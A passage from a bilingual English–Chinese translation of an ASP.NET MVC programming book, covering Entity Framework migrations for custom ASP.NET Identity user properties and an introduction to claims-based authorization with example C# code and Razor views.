context.People.AddOrUpdate(// p => p.FullName,// new Person { FullName = "Andrew Peters" },// new Person { FullName = "Brice Lambson" },// new Person { FullName = "Rowan Miller" }// );//} }} Tip You might be wondering why you are entering a database migration command into the console used to manage NuGet packages. The answer is that the Package Manager Console is really PowerShell, which is a general-purpose tool that is mislabeled by Visual Studio. You can use the console to issue a wide range of helpful commands. See http://go.microsoft.com/fwlink/?LinkID=108518 for details. 提示:你可能会觉得奇怪,为什么要在管理NuGet包的控制台中输入数据库迁移的命令?答案是“Package Manager Console(包管理控制台)”是真正的PowerShell,这是Visual studio冒用的一个通用工具。你可以使用此控制台发送大量的有用命令,详见http://go.microsoft.com/fwlink/?LinkID=108518。 The class will be used to migrate existing content in the database to the new schema, and the Seed method will be called to provide an opportunity to update the existing database records. In Listing 15-5, you can see how I have used the Seed method to set a default value for the new City property I added to the AppUser class. (I have also updated the class file to reflect my usual coding style.) 这个类将用于把数据库中的现有内容迁移到新的数据库架构,Seed方法的调用为更新现有数据库记录提供了机会。在清单15-5中可以看到,我如何用Seed方法为新的City属性设置默认值,City是添加到AppUser类中自定义属性。(为了体现我一贯的编码风格,我对这个类文件也进行了更新。) Listing 15-5. Managing Existing Content in the Configuration.cs File 清单15-5. 在Configuration.cs文件中管理已有内容 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models;namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);}foreach (AppUser dbUser in userMgr.Users) {dbUser.City = Cities.PARIS;}context.SaveChanges();} }} You will notice that much of the code that I added to the Seed method is taken from the IdentityDbInit class, which I used to seed the database with an administration user in Chapter 14. This is because the new Configuration class added to support database migrations will replace the seeding function of the IdentityDbInit class, which I’ll update shortly. Aside from ensuring that there is an admin user, the statements in the Seed method that are important are the ones that set the initial value for the City property I added to the AppUser class, as follows: 你可能会注意到,添加到Seed方法中的许多代码取自于IdentityDbInit类,在第14章中我用这个类将管理用户植入了数据库。这是因为这个新添加的、用以支持数据库迁移的Configuration类,将代替IdentityDbInit类的种植功能,我很快便会更新这个类。除了要确保有admin用户之外,在Seed方法中的重要语句是那些为AppUser类的City属性设置初值的语句,如下所示: ...foreach (AppUser dbUser in userMgr.Users) { dbUser.City = Cities.PARIS;}context.SaveChanges();... You don’t have to set a default value for new properties—I just wanted to demonstrate that the Seed method in the Configuration class can be used to update the existing user records in the database. 你不一定要为新属性设置默认值——这里只是想演示Configuration类中的Seed方法,可以用它更新数据库中的已有用户记录。 Caution Be careful when setting values for properties in the Seed method for real projects because the values will be applied every time you change the schema, overriding any values that the user has set since the last schema update was performed. I set the value of the City property just to demonstrate that it can be done. 警告:在用于真实项目的Seed方法中为属性设置值时要小心,因为你每一次修改架构时,都会运用这些值,这会将自执行上一次架构更新之后,用户设置的任何数据覆盖掉。这里设置City属性的值只是为了演示它能够这么做。 Changing the Database Context Class 修改数据库上下文类 The reason that I added the seeding code to the Configuration class is that I need to change the IdentityDbInit class. At present, the IdentityDbInit class is derived from the descriptively named DropCreateDatabaseIfModelChanges<AppIdentityDbContext> class, which, as you might imagine, drops the entire database when the Code First classes change. Listing 15-6 shows the changes I made to the IdentityDbInit class to prevent it from affecting the database. 在Configuration类中添加种植代码的原因是我需要修改IdentityDbInit类。此时,IdentityDbInit类派生于描述性命名的DropCreateDatabaseIfModelChanges<AppIdentityDbContext> 类,和你相像的一样,它会在Code First类改变时删除整个数据库。清单15-6显示了我对IdentityDbInit类所做的修改,以防止它影响数据库。 Listing 15-6. Preventing Database Schema Changes in the AppIdentityDbContext.cs File 清单15-6. 在AppIdentityDbContext.cs文件是阻止数据库架构变化 using System.Data.Entity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Models;using Microsoft.AspNet.Identity; namespace Users.Infrastructure {public class AppIdentityDbContext : IdentityDbContext<AppUser> {public AppIdentityDbContext() : base("IdentityDb") { }static AppIdentityDbContext() {Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());}public static AppIdentityDbContext Create() {return new AppIdentityDbContext();} } public class IdentityDbInit : NullDatabaseInitializer<AppIdentityDbContext> {} } I have removed the methods defined by the class and changed its base to NullDatabaseInitializer<AppIdentityDbContext> , which prevents the schema from being altered. 我删除了这个类中所定义的方法,并将它的基类改为NullDatabaseInitializer<AppIdentityDbContext> ,它可以防止架构修改。 15.2.3 Performing the Migration 15.2.3 执行迁移 All that remains is to generate and apply the migration. First, run the following command in the Package Manager Console: 剩下的事情只是生成并运用迁移了。首先,在“Package Manager Console(包管理器控制台)”中执行以下命令: Add-Migration CityProperty This creates a new migration called CityProperty (I like my migration names to reflect the changes I made). A class new file will be added to the Migrations folder, and its name reflects the time at which the command was run and the name of the migration. My file is called 201402262244036_CityProperty.cs, for example. The contents of this file contain the details of how Entity Framework will change the database during the migration, as shown in Listing 15-7. 这创建了一个名称为CityProperty的新迁移(我比较喜欢让迁移的名称反映出我所做的修改)。这会在文件夹中添加一个新的类文件,而且其命名会反映出该命令执行的时间以及迁移名称,例如,我的这个文件名称为201402262244036_CityProperty.cs。该文件的内容含有迁移期间Entity Framework修改数据库的细节,如清单15-7所示。 Listing 15-7. The Contents of the 201402262244036_CityProperty.cs File 清单15-7. 201402262244036_CityProperty.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity.Migrations; public partial class Init : DbMigration {public override void Up() {AddColumn("dbo.AspNetUsers", "City", c => c.Int(nullable: false));}public override void Down() {DropColumn("dbo.AspNetUsers", "City");} }} The Up method describes the changes that have to be made to the schema when the database is upgraded, which in this case means adding a City column to the AspNetUsers table, which is the one that is used to store user records in the ASP.NET Identity database. Up方法描述了在数据库升级时,需要对架构所做的修改,在这个例子中,意味着要在AspNetUsers数据表中添加City数据列,该数据表是ASP.NET Identity数据库用来存储用户记录的。 The final step is to perform the migration. Without starting the application, run the following command in the Package Manager Console: 最后一步是执行迁移。无需启动应用程序,只需在“Package Manager Console(包管理器控制台)”中运行以下命令即可: Update-Database –TargetMigration CityProperty The database schema will be modified, and the code in the Configuration.Seed method will be executed. The existing user accounts will have been preserved and enhanced with a City property (which I set to Paris in the Seed method). 这会修改数据库架构,并执行Configuration.Seed方法中的代码。已有用户账号会被保留,且增强了City属性(我在Seed方法中已将其设置为“Paris”)。 15.2.4 Testing the Migration 15.2.4 测试迁移 To test the effect of the migration, start the application, navigate to the /Home/UserProps URL, and authenticate as one of the Identity users (for example, as Alice with the password MySecret). Once authenticated, you will see the current value of the City property for the user and have the opportunity to change it, as shown in Figure 15-3. 为了测试迁移的效果,启动应用程序,导航到/Home/UserProps URL,并以Identity中的用户(例如Alice,口令MySecret)进行认证。一旦已被认证,便会看到该用户City属性的当前值,并可以对其进行修改,如图15-3所示。 Figure 15-3. Displaying and changing a custom user property 图15-3. 显示和个性自定义用户属性 15.2.5 Defining an Additional Property 15.2.5 定义附加属性 Now that database migrations are set up, I am going to define a further property just to demonstrate how subsequent changes are handled and to show a more useful (and less dangerous) example of using the Configuration.Seed method. Listing 15-8 shows how I added a Country property to the AppUser class. 现在,已经建立了数据库迁移,我打算再定义一个属性,这恰恰演示了如何处理持续不断的修改,也为了演示Configuration.Seed方法更有用(至少无害)的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举,它定义了国家名称。还添加了一个辅助器方法,它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改,以使Seed方法根据City设置Country属性,但只当Country为NONE时才进行设置(在迁移数据库时,所有用户都是NONE,因为Entity Framework会将枚举列设置为枚举的第一个值)。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用,因为它只会在Country属性未设置时,才会设置Country属性的值——后继的迁移不会受到影响,因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方,则附加属性就无法使用了,因此,清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改,以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性,清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化,这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化,这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console(包管理器控制台)”中输入以下命令: Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件,它含有添加Country数据表列的指令。为了运用迁移,可执行以下命令: Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移,Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序,认证并导航到/Home/UserProps URL,便可以查看新的用户属性,如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示:虽然我们关注了升级数据库的过程,但你也可以回退到以前的版本,只需指定一个早期的迁移即可。使用-Force参数进行修改,会引起数据丢失,例如删除数据表列。 15.3 Working with Claims 15.3 使用声明(Claims) In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中,例如ASP.NET Membership,应用程序被假设成是用户所有信息的权威来源,本质上将应用程序视为是一个封闭的世界,并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法,使人很难认识到这到底意味着什么,第14章你已看到了这种封闭世界技术的例子,根据存储在数据库中的凭据来认证用户,并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性,也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法,这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法,当MVC框架的应用程序不是有关用户的唯一信息源时,这种办法会工作得很好,而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims(声明)”,因此在本小节中,我将描述ASP.NET Identity如何支持“Claims-Based Authorization(基于声明的授权)”。表15-4描述了声明(Claims)的情形。 提示:“Claim”在英文字典中不完全是“声明”的意思,根据本文的描述,感觉把它说成“声明”也不一定合适,所以在之后的译文中基本都写成中英文并用的形式,即“声明(Claims)”。根据表15-4中的声明(Claims)的定义:声明(Claims)是关于用户的一些信息片段。一个用户的信息片段当然有很多,每一个信息片段就是一项声明(Claim),用户的所有信息片段合起来就是该用户的声明(Claims)。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明(Claims)的情形 Question 问题 Answer 答案 What is it? 什么是声明(Claims)? Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明(Claims)是关于用户的一些信息片段,可以用它们做出授权决定。声明(Claims)可以从外部系统获取,也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它? Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明(Claims)可以用来对动作方法进行灵活的授权访问。与传统的角色不同,声明(Claims)让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性,但它集成到了标准的授权特性之中,例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示:你在应用程序中不一定要使用声明(Claims),正如第14章所展示的那样,ASP.NET Identity能够为应用程序提供充分的认证与授权服务,而根本不需要理解声明(Claims)。 15.3.1 Understanding Claims 15.3.1 理解声明(Claims) A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明(Claim)是关于用户的一个信息片段(请注意这个英文单词的单复数形式——译者注),并伴有该片段出自何处的某种信息。揭开声明(Claims)含义最容易的方式是做一些实际演示,任何讨论都会过于抽象根本没有真正的用处。为此,我在示例项目中添加了一个Claims控制器,其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示:你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐,当看到该动作方法和视图的输出便会明白。尤为重要的是,这有助于洞察声明(Claims)。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明(Claims)。方法之一就是使用由用户类定义的Claims属性,但在这个例子中,我使用了HttpContext.User.Identity属性,目的是演示ASP.NET Identity与ASP.NET平台集成的方式(请注意这句话所表示的含义:用户类的Claims属性属于ASP.NET Identity,而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见,ASP.NET Identity已经融合到了ASP.NET平台之中——译者注)。正如第13章所解释的那样,HttpContext.User.Identity属性返回IIdentity的接口实现,当使用ASP.NET Identity时,该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的,表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明(Claims)的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明(Claim) AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明(Claim)时,返回true。参见“运用声明(Claims)”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明(Claim)。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员,但表中的这些是在Web应用程序中最常用的,随着我演示如何将声明(Claims)融入更宽泛的ASP.NET平台,它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中,我将IIdentity实现转换成了ClaimsIdentity类型,并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段,Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明(Claim)的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明(Claim)所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明(Claim)所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明(Claim)所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容,它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明(Claim)添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式(Microsoft Schema)的URI(统一资源标识符),这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式(Popular Schema),因此为了使Index.cshtml视图的输出更易于阅读,我在IdentityHelpers.cs文件中添加了一个HTML辅助器,如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注:该辅助器并非十分有效,因为它只是针对每个要显示的声明(Claim)映射出ClaimType类的字段,但对我要的目的已经足够了。在实际项目中不会经常需要显示声明(Claim)的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明(Claims)的控制器,而没有真正解释声明(Claims)是什么的原因,可以启动应用程序,以用户Alice进行认证(其口令是MySecret),并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节,为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject(科目) Issuer(发行者) Type(类型) Value(值) Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明(Claims)最重要的方面,这些是我在第14章中实现传统的认证和授权特性时,一直在使用的信息。可以看出,有些声明(Claims)与用户标识有关(Name声明是Alice,NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号)。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明(Claims)显示了角色成员——表中有两个Role声明(Claim),体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明(Claim):IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明(Claims)时的差别是,你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性(发布者)都被设置到了LOACL AUTHORITY(本地授权),这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此,现在你已经看到了一些声明(Claims)示例,我可以更容易地描述声明(Claim)是什么了。一项声明(Claim)是可用于应用程序中的有关用户的一个信息片段,包括用户的标识以及角色成员等。而且,正如你所看到的,我在前几章定义的关于用户的信息,被ASP.NET Identity自动地作为声明(Claims)了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明(Claims) Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明(Claims)比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明(Claims),而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例,在“使用第三方认证”小节中,将演示如何通过第三方系统来认证用户。不过,此刻我只打算在示例项目中添加一个类,用以模拟一个提供声明(Claims)信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数,并使用Name属性创建了关于用户ZIP码(邮政编码)和州府的声明(Claims)。上述这个类使我能够模拟一个诸如中心化的HR数据库(人力资源数据库)之类的系统,它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间,声明(Claims)是与用户标识关联在一起的,清单15-16显示了我对Account控制器中Login动作方法所做的修改,以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明(Claims)的效果,可以启动应用程序,以一个用户进行认证,并请求/Claim/Index URL。图15-6显示了Alice的声明(Claims)。你可能需要退出,然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 